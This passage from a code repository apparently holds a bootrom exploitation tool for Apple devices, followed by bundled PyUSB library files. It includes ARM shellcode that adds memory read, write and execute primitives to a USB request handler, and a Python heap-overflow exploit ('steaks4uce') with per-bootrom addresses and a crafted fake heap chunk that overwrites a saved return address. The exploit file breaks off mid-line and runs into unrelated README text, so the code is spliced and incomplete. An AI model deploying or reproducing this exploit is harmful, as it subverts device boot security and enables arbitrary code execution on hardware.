| LDP X20, X19, [SP],#0x10 96 | LDP X29, X30, [SP],#0x10 97 | RET 98 | 99 | memset: 100 | MOV X3, #0x101010101010101 101 | AND X1, X1, #0xFF 102 | MUL X1, X1, X3 103 | MOV X3, X0 104 | 105 | memset_8: 106 | CMP X2, #8 107 | B.CC memset_4 108 | 109 | STR X1, [X0] 110 | ADD X0, X0, #8 111 | SUB X2, X2, #8 112 | B memset_8 113 | 114 | memset_4: 115 | CMP X2, #4 116 | B.CC memset_2 117 | 118 | STR W1, [X0] 119 | ADD X0, X0, #4 120 | SUB X2, X2, #4 121 | 122 | memset_2: 123 | CMP X2, #2 124 | B.CC memset_1 125 | 126 | STR W1, [X0] 127 | ADD X0, X0, #2 128 | SUB X2, X2, #2 129 | 130 | memset_1: 131 | CBZ X2, memset_done 132 | 133 | STR W1, [X0] 134 | ADD X0, X0, #1 135 | SUB X2, X2, #1 136 | 137 | memset_done: 138 | MOV X0, X3 139 | RET 140 | 141 | memcpy: 142 | MOV X4, X0 143 | 144 | memcpy_8: 145 | CMP X2, #8 146 | B.CC memcpy_4 147 | 148 | LDR X3, [X1] 149 | STR X3, [X0] 150 | ADD X0, X0, #8 151 | ADD X1, X1, #8 152 | SUB X2, X2, #8 153 | B memcpy_8 154 | 155 | memcpy_4: 156 | CMP X2, #4 157 | B.CC memcpy_2 158 | 159 | LDR W3, [X1] 160 | STR W3, [X0] 161 | ADD X0, X0, #4 162 | ADD X1, X1, #4 163 | SUB X2, X2, #4 164 | 165 | memcpy_2: 166 | CMP X2, #2 167 | B.CC memcpy_1 168 | 169 | LDRH W3, [X1] 170 | STRH W3, [X0] 171 | ADD X0, X0, #2 172 | ADD X1, X1, #2 173 | SUB X2, X2, #2 174 | 175 | memcpy_1: 176 | CBZ X2, memcpy_done 177 | 178 | LDRB W3, [X1] 179 | STRB W3, [X0] 180 | ADD X0, X0, #1 181 | ADD X1, X1, #1 182 | SUB X2, X2, #1 183 | 184 | memcpy_done: 185 | MOV X0, X4 186 | RET 187 | -------------------------------------------------------------------------------- /src/usb_0xA1_2_armv7.S: -------------------------------------------------------------------------------- 1 | .text 2 | 3 | .pool 4 | .set USB_CORE_DO_IO, 0xBAD00006 5 | .set LOAD_ADDRESS, 0xBAD00001 6 | .set EXEC_MAGIC, 0xBAD00002 7 | .set MEMC_MAGIC, 0xBAD00004 8 | .set MEMS_MAGIC, 0xBAD00005 9 | .set DONE_MAGIC, 0xBAD00003 10 | 11 | .code 16 12 | .global _main 13 | _main: 14 | jump_back: 15 | BKPT #1 16 | BKPT #1 17 | BKPT #1 18 | BKPT #1 19 | 20 | LDRH R2, [R0] 21 | MOVW R3, #0x2A1 22 | CMP R2, R3 23 | BNE jump_back 24 | 25 | PUSH {R4-R7,LR} 26 | ADD R7, SP, #0xC 27 | SUB SP, SP, #0x10 28 | 29 | MOV R4, R0 30 | LDR R5, =LOAD_ADDRESS 31 | 32 | MOVW R1, #0xFFFF 33 | LDRH R2, [R4,#2] 34 | CMP R1, R2 35 | BNE request_done 36 | 37 | LDRD R0, R1, [R5] 38 | 39 | LDR R2, =EXEC_MAGIC 40 | CMP R0, R2 41 | BNE not_exec 42 | CMP R1, R2 43 | BNE not_exec 44 | 45 | MOV R1, #0 46 | STRD R1, R1, [R5] 47 | 48 | LDRD R0, R1, [R5, #0x20] 49 | LDRD R2, R3, [R5, #0x28] 50 | STRD R0, R1, [SP] 51 | STRD R2, R3, [SP, #0x8] 52 | 53 | LDRD R0, R1, [R5, #0x10] 54 | LDRD R2, R3, [R5, #0x18] 55 | 56 | LDR R6, [R5, #0x8] 57 | BLX R6 58 | 59 | LDR R2, =DONE_MAGIC 60 | STRD R0, R1, [R5,#0x8] 61 | STRD R2, R2, [R5] 62 | 63 | not_exec: 64 | LDR R2, =MEMC_MAGIC 65 | CMP R0, R2 66 | BNE not_memc 67 | CMP R1, R2 68 | BNE not_memc 69 | 70 | MOV R1, #0 71 | STRD R1, R1, [R5] 72 | 73 | LDRD R0, R1, [R5, #0x10] 74 | LDR R2, [R5, #0x18] 75 | BL memcpy 76 | 77 | LDR R2, =DONE_MAGIC 78 | STRD R2, R2, [R5] 79 | B request_done 80 | 81 | not_memc: 82 | LDR R2, =MEMS_MAGIC 83 | CMP R0, R2 84 | BNE request_done 85 | CMP R1, R2 86 | BNE request_done 87 | 88 | MOV R1, #0 89 | STRD R1, R1, [R5] 90 | 91 | LDRD R0, R1, [R5, #0x10] 92 | LDR R2, [R5, #0x18] 93 | BL memset 94 | 95 | LDR R2, =DONE_MAGIC 96 | STRD R2, R2, [R5] 97 | 98 | request_done: 99 | MOV R0, #0x80 100 | MOV R1, R5 101 | LDRH R2, [R4,#6] 102 | MOV R3, #0 103 | LDR R4, =USB_CORE_DO_IO 104 | BLX R4 105 | 106 | MOV R0, #0 107 | ADD SP, SP, #0x10 108 | POP {R4-R7,PC} 109 | 110 | memcpy: 111 | CMP R2, #4 112 | BCC memcpy_2 113 | 114 | LDR R3, [R1] 115 | STR R3, [R0] 116 | ADD R0, R0, #4 117 | ADD R1, R1, #4 118 | SUB R2, R2, #4 119 | B memcpy 120 | 121 | memcpy_2: 122 | CMP R2, #2 123 | BCC memcpy_1 124 | 125 | LDRH R3, [R1] 126 | STRH R3, [R0] 127 | ADD R0, R0, #2 128 | ADD R1, R1, #2 129 | SUB R2, R2, #2 130 | 131 | memcpy_1: 132 | CBZ R2, memcpy_done 133 | 134 | LDRB R3, [R1] 135 | STRB R3, [R0] 136 | ADD R0, R0, #1 137 | ADD R1, R1, #1 138 | SUB R2, R2, #1 139 | 140 | memcpy_done: 141 | BX LR 142 | 143 | memset: 144 | MOV R3, #0xFF 145 | AND R1, R1, R3 146 | LSL R3, R1, #8 147 | ORR R1, R1, R3 148 | LSL R3, R1, #16 149 | ORR R1, R1, R3 150 | 151 | memset_4: 152 | CMP R2, #4 153 | BCC memset_2 154 | 155 | STR R1, [R0] 156 | ADD R0, R0, #4 157 | SUB R2, R2, #4 158 | B memset_4 159 | 160 | memset_2: 161 | CMP R2, #2 162 | BCC memset_1 163 | 164 | STRH R1, [R0] 165 | ADD R0, R0, #2 166 | SUB R2, R2, #2 167 | 168 | memset_1: 169 | CBZ R2, memset_done 170 | 171 | STRB R1, [R0] 172 | ADD R0, R0, #1 173 | SUB R2, R2, #1 174 | 175 | memset_done: 176 | BX LR 177 | -------------------------------------------------------------------------------- /steaks4uce.py: -------------------------------------------------------------------------------- 1 | # Credit: This file is based on steaks4uce exploit (heap overflow) by pod2g. 2 | 3 | import struct, sys, time 4 | import usb # pyusb: use 'pip install pyusb' to install this module 5 | import dfu 6 | 7 | constants_240_4 = [ 8 | 0x22030000, # 1 - MAIN_STACK_ADDRESS 9 | 0x3af5, # 2 - nor_power_on 10 | 0x486d, # 3 - nor_init 11 | 0x6c81, # 4 - usb_destroy 12 | 0x1059, # 5 - usb_shutdown 13 | 0x560, # 6 - invalidate_instruction_cache 14 | 0x2202d800, # 7 - RELOCATE_SHELLCODE_ADDRESS 15 | 0x200, # 8 - RELOCATE_SHELLCODE_SIZE 16 | 0x795c, # 9 - memmove 17 | 0x534, # 10 - clean_data_cache 18 | 0x280, # 11 - gVersionString 19 | 0x83cd, # 12 - strlcat 20 | 0x30e9, # 13 - usb_wait_for_image 21 | 0x22000000, # 14 - LOAD_ADDRESS 22 | 0x24000, # 15 - MAX_SIZE 23 | 0x220241ac, # 16 - gLeakingDFUBuffer 24 | 0x1955, # 17 - free 25 | 0x65786563, # 18 - EXEC_MAGIC 26 | 0x1bf1, # 19 - memz_create 27 | 0x3339, # 20 - jump_to 28 | 0x1c19, # 21 - memz_destroy 29 | 0x58, # 22 - IMAGE3_LOAD_SP_OFFSET 30 | 0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET 31 | 0x1c5d, # 24 - image3_create_struct 32 | 0x22cd, # 25 - image3_load_continue 33 | 0x23a3, # 26 - image3_load_fail 34 | ] 35 | 36 | constants_240_5_1 = [ 37 | 0x22030000, # 1 - MAIN_STACK_ADDRESS 38 | 0x3afd, # 2 - nor_power_on 39 | 0x4875, # 3 - nor_init 40 | 0x6c89, # 4 - usb_destroy 41 | 0x1059, # 5 - usb_shutdown 42 | 0x560, # 6 - invalidate_instruction_cache 43 | 0x2202d800, # 7 - RELOCATE_SHELLCODE_ADDRESS 44 | 0x200, # 8 - RELOCATE_SHELLCODE_SIZE 45 | 0x7964, # 9 - memmove 46 | 0x534, # 10 - clean_data_cache 47 | 0x280, # 11 - gVersionString 48 | 0x83d5, # 12 - strlcat 49 | 0x30f1, # 13 - usb_wait_for_image 50 | 0x22000000, # 14 - LOAD_ADDRESS 51 | 0x24000, # 15 - MAX_SIZE 52 | 0x220241ac, # 16 - gLeakingDFUBuffer 53 | 0x1955, # 17 - free 54 | 0x65786563, # 18 - EXEC_MAGIC 55 | 0x1bf9, # 19 - memz_create 56 | 0x3341, # 20 - jump_to 57 | 0x1c21, # 21 - memz_destroy 58 | 0x58, # 22 - IMAGE3_LOAD_SP_OFFSET 59 | 0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET 60 | 0x1c65, # 24 - image3_create_struct 61 | 0x22d5, # 25 - image3_load_continue 62 | 0x23ab, # 26 - image3_load_fail 63 | ] 64 | 65 | class DeviceConfig: 66 | def __init__(self, version, constants): 67 | self.version = version 68 | self.constants = constants 69 | 70 | configs = [ 71 | DeviceConfig('240.4', constants_240_4), # S5L8720 (old bootrom) 72 | DeviceConfig('240.5.1', constants_240_5_1), # S5L8720 (new bootrom) 73 | ] 74 | 75 | # Pad to length 256 and add heap data for overwrite 76 | payload = '\x00' * 256 + struct.pack('<14I', 77 | # 1. Allocated chunk to be freed 78 | # Chunk header: (size 0x8) 79 | 0x84, # 0x00: previous_chunk 80 | 0x5, # 0x04: next_chunk 81 | # Contents: (requested size 0x1c, allocated size 0x20) 82 | 0x80, # 0x08: buffer[0] - direction 83 | 0x22026280, # 0x0c: buffer[1] - usb_response_buffer 84 | 0xffffffff, # 0x10: buffer[2] 85 | 0x138, # 0x14: buffer[3] - size of payload in bytes 86 | 0x100, # 0x18: buffer[4] 87 | 0x0, # 0x1c: buffer[5] 88 | 0x0, # 0x20: buffer[6] 89 | 0x0, # 0x24: unused 90 | # 2. Fake free chunk 91 | # Chunk header: (size 0x8) 92 | 0x15, # 0x28: previous_chunk 93 | 0x2, # 0x2c: next_chunk 94 | # Attack fd/bk pointers in this free chunk for arbitrary write: 95 | 0x22000001, # 0x30: fd - shellcode_address (what to write) 96 | 0x2202d7fc, # 0x34: bk - exception_irq() LR on the stack (where to write it) 97 | ) 98 | 99 | def generate_shellcode(constants): 100 | with open('bin/steaks4uce-shellcode.bin', 'rb') as f: 101 | shellcode = f.read() 102 | 103 | # Shellcode has placeholder values for constants; check they match and replace with constants from config 104 | placeholders_offset = len(shellcode) - 4 * len(constants) 105 | for i in range(len(constants)): 106 | offset = placeholders_offset + 4 * i 107 | (value,) = struct.unpack('= 2.4, ctypes and at least one of the 23 | builtin backends. 24 | 25 | PyUSB supports libusb 0.1, libusb 1.0 and OpenUSB, but the user does not need 26 | to worry about that, unless in some corner cases. 27 | 28 | If you have any question about PyUSB, you can use the PyUSB mailing list 29 | hosted in the SourceForge. In the PyUSB website (http://walac.github.io/pyusb) 30 | you can find instructions on how to subscribe to the mailing list. 31 | 32 | Installing PyUSB on GNU/Linux Systems 33 | ===================================== 34 | 35 | These instructions are for Debian-based systems. Instructions for 36 | other flavors of GNU/Linux should be similar. 37 | 38 | You will first need to install the following packages: 39 | 40 | 1) python (PyUSB is useless without it), version >= 2.4 41 | 2) At least one of the supported libraries (libusb 1.0, libusb 0.1 or OpenUSB) 42 | 3) If your Python version is < 2.5, you have to install ctypes as a separate 43 | package, because these versions of Python does not ship it. 44 | 45 | For example, the command:: 46 | 47 | $ sudo apt-get install python libusb-1.0-0 48 | 49 | should install all these packages on most Debian-based systems with 50 | access to the proper package repositories. 51 | 52 | Once the above packages are installed, you can install PyUSB 53 | with the command:: 54 | 55 | $ sudo python setup.py install 56 | 57 | Run it as root from within the same directory as this README file. 58 | 59 | You can also use `pip `_ to 60 | install PyUSB:: 61 | 62 | $ sudo pip install pyusb --pre 63 | 64 | Just bear in mind that you still follow to procedure to install the 65 | libusb library. 66 | 67 | For pure Debian variants 68 | ------------------------ 69 | 70 | For pure Debian systems you are advised to install either the 71 | python-usb or python3-usb packages. These are prebuilt based on 72 | PyUSB and libusb-1.0:: 73 | 74 | $ sudo apt-get install python-usb python3-usb 75 | 76 | You may wish to get the backported version 1.0, since PyUSB 77 | doesn't depend upon any truly unstable packages. 78 | 79 | Installing PyUSB on Windows 80 | =========================== 81 | 82 | Now that PyUSB is 100% written in Python, you install it on Windows 83 | in the same way you do on Linux:: 84 | 85 | python setup.py install 86 | 87 | If you get some kind of "command not found" error, make sure to add 88 | the Python install directory to your PATH environment variable or 89 | give the complete path to the Python interpreter. 90 | 91 | Remember that you need libusb (1.0 or 0.1) or OpenUSB running on your 92 | system. For Windows users, libusb 0.1 is provided through 93 | `libusb-win32 `_ 94 | package. Check the libusb website for updates 95 | (http://www.libusb.info). 96 | 97 | Reporting bugs/Submitting patches 98 | ================================= 99 | 100 | Some people have been sending patches and reporting bugs directly 101 | at my email. Please, do it through 102 | `github `_, I had a hardtime tracking 103 | their names to put them in the acknowledgments file. ;-) 104 | 105 | PS: this README file was based on the great Josh Lifton's one... ^_^ 106 | -------------------------------------------------------------------------------- /usb/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2009-2014 Wander Lairson Costa 2 | # 3 | # The following terms apply to all files associated 4 | # with the software unless explicitly disclaimed in individual files. 5 | # 6 | # The authors hereby grant permission to use, copy, modify, distribute, 7 | # and license this software and its documentation for any purpose, provided 8 | # that existing copyright notices are retained in all copies and that this 9 | # notice is included verbatim in any distributions. No written agreement, 10 | # license, or royalty fee is required for any of the authorized uses. 11 | # Modifications to this software may be copyrighted by their authors 12 | # and need not follow the licensing terms described here, provided that 13 | # the new terms are clearly indicated on the first page of each file where 14 | # they apply. 15 | # 16 | # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY 17 | # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES 18 | # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY 19 | # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE 20 | # POSSIBILITY OF SUCH DAMAGE. 21 | # 22 | # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, 23 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, 24 | # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE 25 | # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE 26 | # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR 27 | # MODIFICATIONS. 28 | 29 | r"""PyUSB - Easy USB access in Python 30 | 31 | This package exports the following modules and subpackages: 32 | 33 | core - the main USB implementation 34 | legacy - the compatibility layer with 0.x version 35 | backend - the support for backend implementations. 36 | control - USB standard control requests. 37 | libloader - helper module for backend library loading. 38 | 39 | Since version 1.0, main PyUSB implementation lives in the 'usb.core' 40 | module. New applications are encouraged to use it. 41 | """ 42 | 43 | import logging 44 | import os 45 | 46 | __author__ = 'Wander Lairson Costa' 47 | 48 | # Use Semantic Versioning, http://semver.org/ 49 | version_info = (1, 0, 0) 50 | __version__ = '%d.%d.%d' % version_info 51 | 52 | __all__ = ['legacy', 'control', 'core', 'backend', 'util', 'libloader'] 53 | 54 | def _setup_log(): 55 | from usb import _debug 56 | logger = logging.getLogger('usb') 57 | debug_level = os.getenv('PYUSB_DEBUG') 58 | 59 | if debug_level is not None: 60 | _debug.enable_tracing(True) 61 | filename = os.getenv('PYUSB_LOG_FILENAME') 62 | 63 | LEVELS = {'debug': logging.DEBUG, 64 | 'info': logging.INFO, 65 | 'warning': logging.WARNING, 66 | 'error': logging.ERROR, 67 | 'critical': logging.CRITICAL} 68 | 69 | level = LEVELS.get(debug_level, logging.CRITICAL + 10) 70 | logger.setLevel(level = level) 71 | 72 | try: 73 | handler = logging.FileHandler(filename) 74 | except: 75 | handler = logging.StreamHandler() 76 | 77 | fmt = logging.Formatter('%(asctime)s %(levelname)s:%(name)s:%(message)s') 78 | handler.setFormatter(fmt) 79 | logger.addHandler(handler) 80 | else: 81 | class NullHandler(logging.Handler): 82 | def emit(self, record): 83 | pass 84 | 85 | # We set the log level to avoid delegation to the 86 | # parent log handler (if there is one). 87 | # Thanks to Chris Clark to pointing this out. 88 | logger.setLevel(logging.CRITICAL + 10) 89 | 90 | logger.addHandler(NullHandler()) 91 | 92 | 93 | _setup_log() 94 | 95 | # We import all 'legacy' module symbols to provide compatibility 96 | # with applications that use 0.x versions. 97 | from usb.legacy import * 98 | -------------------------------------------------------------------------------- /usb/_debug.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2009-2014 Wander Lairson Costa 2 | # 3 | # The following terms apply to all files associated 4 | # with the software unless explicitly disclaimed in individual files. 5 | # 6 | # The authors hereby grant permission to use, copy, modify, distribute, 7 | # and license this software and its documentation for any purpose, provided 8 | # that existing copyright notices are retained in all copies and that this 9 | # notice is included verbatim in any distributions. No written agreement, 10 | # license, or royalty fee is required for any of the authorized uses. 11 | # Modifications to this software may be copyrighted by their authors 12 | # and need not follow the licensing terms described here, provided that 13 | # the new terms are clearly indicated on the first page of each file where 14 | # they apply. 15 | # 16 | # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY 17 | # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES 18 | # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY 19 | # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE 20 | # POSSIBILITY OF SUCH DAMAGE. 21 | # 22 | # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, 23 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, 24 | # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE 25 | # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE 26 | # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR 27 | # MODIFICATIONS. 28 | 29 | __author__ = 'Wander Lairson Costa' 30 | 31 | __all__ = ['methodtrace', 'functiontrace'] 32 | 33 | import logging 34 | import usb._interop as _interop 35 | 36 | _enable_tracing = False 37 | 38 | def enable_tracing(enable): 39 | global _enable_tracing 40 | _enable_tracing = enable 41 | 42 | def _trace_function_call(logger, fname, *args, **named_args): 43 | logger.debug( 44 | # TODO: check if 'f' is a method or a free function 45 | fname + '(' + \ 46 | ', '.join((str(val) for val in args)) + \ 47 | ', '.join((name + '=' + str(val) for name, val in named_args.items())) + ')' 48 | ) 49 | 50 | # decorator for methods calls tracing 51 | def methodtrace(logger): 52 | def decorator_logging(f): 53 | if not _enable_tracing: 54 | return f 55 | def do_trace(*args, **named_args): 56 | # this if is just a optimization to avoid unecessary string formatting 57 | if logging.DEBUG >= logger.getEffectiveLevel(): 58 | fn = type(args[0]).__name__ + '.' + f.__name__ 59 | _trace_function_call(logger, fn, *args[1:], **named_args) 60 | return f(*args, **named_args) 61 | _interop._update_wrapper(do_trace, f) 62 | return do_trace 63 | return decorator_logging 64 | 65 | # decorator for methods calls tracing 66 | def functiontrace(logger): 67 | def decorator_logging(f): 68 | if not _enable_tracing: 69 | return f 70 | def do_trace(*args, **named_args): 71 | # this if is just a optimization to avoid unecessary string formatting 72 | if logging.DEBUG >= logger.getEffectiveLevel(): 73 | _trace_function_call(logger, f.__name__, *args, **named_args) 74 | return f(*args, **named_args) 75 | _interop._update_wrapper(do_trace, f) 76 | return do_trace 77 | return decorator_logging 78 | -------------------------------------------------------------------------------- /usb/_interop.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2009-2014 Wander Lairson Costa 2 | # 3 | # The following terms apply to all files associated 4 | # with the software unless explicitly disclaimed in individual files. 5 | # 6 | # The authors hereby grant permission to use, copy, modify, distribute, 7 | # and license this software and its documentation for any purpose, provided 8 | # that existing copyright notices are retained in all copies and that this 9 | # notice is included verbatim in any distributions. No written agreement, 10 | # license, or royalty fee is required for any of the authorized uses. 11 | # Modifications to this software may be copyrighted by their authors 12 | # and need not follow the licensing terms described here, provided that 13 | # the new terms are clearly indicated on the first page of each file where 14 | # they apply. 15 | # 16 | # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY 17 | # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES 18 | # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY 19 | # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE 20 | # POSSIBILITY OF SUCH DAMAGE. 21 | # 22 | # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, 23 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, 24 | # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE 25 | # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE 26 | # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR 27 | # MODIFICATIONS. 28 | 29 | # All the hacks necessary to assure compatibility across all 30 | # supported versions come here. 31 | # Please, note that there is one version check for each 32 | # hack we need to do, this makes maintenance easier... ^^ 33 | 34 | import sys 35 | import array 36 | 37 | __all__ = ['_reduce', '_set', '_next', '_update_wrapper'] 38 | 39 | # we support Python >= 2.4 40 | assert sys.hexversion >= 0x020400f0 41 | 42 | # On Python 3, reduce became a functools module function 43 | try: 44 | import functools 45 | _reduce = functools.reduce 46 | except (ImportError, AttributeError): 47 | _reduce = reduce 48 | 49 | # all, introduced in Python 2.5 50 | try: 51 | _all = all 52 | except NameError: 53 | _all = lambda iter_ : _reduce( lambda x, y: x and y, iter_, True ) 54 | 55 | # we only have the builtin set type since 2.5 version 56 | try: 57 | _set = set 58 | except NameError: 59 | import sets 60 | _set = sets.Set 61 | 62 | # On Python >= 2.6, we have the builtin next() function 63 | # On Python 2.5 and before, we have to call the iterator method next() 64 | def _next(iter): 65 | try: 66 | return next(iter) 67 | except NameError: 68 | return iter.next() 69 | 70 | # functools appeared in 2.5 71 | try: 72 | import functools 73 | _update_wrapper = functools.update_wrapper 74 | except (ImportError, AttributeError): 75 | def _update_wrapper(wrapper, wrapped): 76 | wrapper.__name__ = wrapped.__name__ 77 | wrapper.__module__ = wrapped.__module__ 78 | wrapper.__doc__ = wrapped.__doc__ 79 | wrapper.__dict__ = wrapped.__dict__ 80 | 81 | # this is used (as of May 2015) twice in core, once in backend/openusb, and in 82 | # some unit test code. It would probably be clearer if written in terms of some 83 | # definite 3.2+ API (bytearrays?) with a fallback provided for 2.4+. 84 | def as_array(data=None): 85 | if data is None: 86 | return array.array('B') 87 | 88 | if isinstance(data, array.array): 89 | return data 90 | 91 | try: 92 | return array.array('B', data) 93 | except TypeError: 94 | # When you pass a unicode string or a character sequence, 95 | # you get a TypeError if the first parameter does not match 96 | a = array.array('B') 97 | a.fromstring(data) # deprecated since 3.2 98 | return a 99 | -------------------------------------------------------------------------------- /usb/_lookup.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2009-2014 Walker Inman 2 | # 3 | # The following terms apply to all files associated 4 | # with the software unless explicitly disclaimed in individual files. 5 | # 6 | # The authors hereby grant permission to use, copy, modify, distribute, 7 | # and license this software and its documentation for any purpose, provided 8 | # that existing copyright notices are retained in all copies and that this 9 | # notice is included verbatim in any distributions. No written agreement, 10 | # license, or royalty fee is required for any of the authorized uses. 11 | # Modifications to this software may be copyrighted by their authors 12 | # and need not follow the licensing terms described here, provided that 13 | # the new terms are clearly indicated on the first page of each file where 14 | # they apply. 15 | # 16 | # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY 17 | # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES 18 | # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY 19 | # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE 20 | # POSSIBILITY OF SUCH DAMAGE. 21 | # 22 | # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, 23 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, 24 | # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE 25 | # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE 26 | # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR 27 | # MODIFICATIONS. 28 | 29 | r"""usb._lookups - Lookup tables for USB 30 | """ 31 | 32 | descriptors = { 33 | 0x1 : "Device", 34 | 0x2 : "Configuration", 35 | 0x3 : "String", 36 | 0x4 : "Interface", 37 | 0x5 : "Endpoint", 38 | 0x6 : "Device qualifier", 39 | 0x7 : "Other speed configuration", 40 | 0x8 : "Interface power", 41 | 0x9 : "OTG", 42 | 0xA : "Debug", 43 | 0xB : "Interface association", 44 | 0xC : "Security", 45 | 0xD : "Key", 46 | 0xE : "Encryption type", 47 | 0xF : "Binary device object store (BOS)", 48 | 0x10 : "Device capability", 49 | 0x11 : "Wireless endpoint companion", 50 | 0x30 : "SuperSpeed endpoint companion", 51 | } 52 | 53 | device_classes = { 54 | 0x0 : "Specified at interface", 55 | 0x2 : "Communications Device", 56 | 0x9 : "Hub", 57 | 0xF : "Personal Healthcare Device", 58 | 0xDC : "Diagnostic Device", 59 | 0xE0 : "Wireless Controller", 60 | 0xEF : "Miscellaneous", 61 | 0xFF : "Vendor-specific", 62 | } 63 | 64 | interface_classes = { 65 | 0x0 : "Reserved", 66 | 0x1 : "Audio", 67 | 0x2 : "CDC Communication", 68 | 0x3 : "Human Interface Device", 69 | 0x5 : "Physical", 70 | 0x6 : "Image", 71 | 0x7 : "Printer", 72 | 0x8 : "Mass Storage", 73 | 0x9 : "Hub", 74 | 0xA : "CDC Data", 75 | 0xB : "Smart Card", 76 | 0xD : "Content Security", 77 | 0xE : "Video", 78 | 0xF : "Personal Healthcare", 79 | 0xDC : "Diagnostic Device", 80 | 0xE0 : "Wireless Controller", 81 | 0xEF : "Miscellaneous", 82 | 0xFE : "Application Specific", 83 | 0xFF : "Vendor Specific", 84 | } 85 | 86 | ep_attributes = { 87 | 0x0 : "Control", 88 | 0x1 : "Isochronous", 89 | 0x2 : "Bulk", 90 | 0x3 : "Interrupt", 91 | } 92 | 93 | MAX_POWER_UNITS_USB2p0 = 2 # mA 94 | MAX_POWER_UNITS_USB_SUPERSPEED = 8 # mA 95 | -------------------------------------------------------------------------------- /usb/_objfinalizer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # 3 | # Copyright (C) 2014 André Erdmann 4 | # 5 | # The following terms apply to all files associated 6 | # with the software unless explicitly disclaimed in individual files. 7 | # 8 | # The authors hereby grant permission to use, copy, modify, distribute, 9 | # and license this software and its documentation for any purpose, provided 10 | # that existing copyright notices are retained in all copies and that this 11 | # notice is included verbatim in any distributions. No written agreement, 12 | # license, or royalty fee is required for any of the authorized uses. 13 | # Modifications to this software may be copyrighted by their authors 14 | # and need not follow the licensing terms described here, provided that 15 | # the new terms are clearly indicated on the first page of each file where 16 | # they apply. 17 | # 18 | # IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY 19 | # FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES 20 | # ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY 21 | # DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE 22 | # POSSIBILITY OF SUCH DAMAGE. 23 | # 24 | # THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, 25 | # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, 26 | # FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE 27 | # IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE 28 | # NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR 29 | # MODIFICATIONS. 30 | 31 | import sys 32 | 33 | __all__ = ['AutoFinalizedObject'] 34 | 35 | 36 | class _AutoFinalizedObjectBase(object): 37 | """ 38 | Base class for objects that get automatically 39 | finalized on delete or at exit. 40 | """ 41 | 42 | def _finalize_object(self): 43 | """Actually finalizes the object (frees allocated resources etc.). 44 | 45 | Returns: None 46 | 47 | Derived classes should implement this. 48 | """ 49 | pass 50 | 51 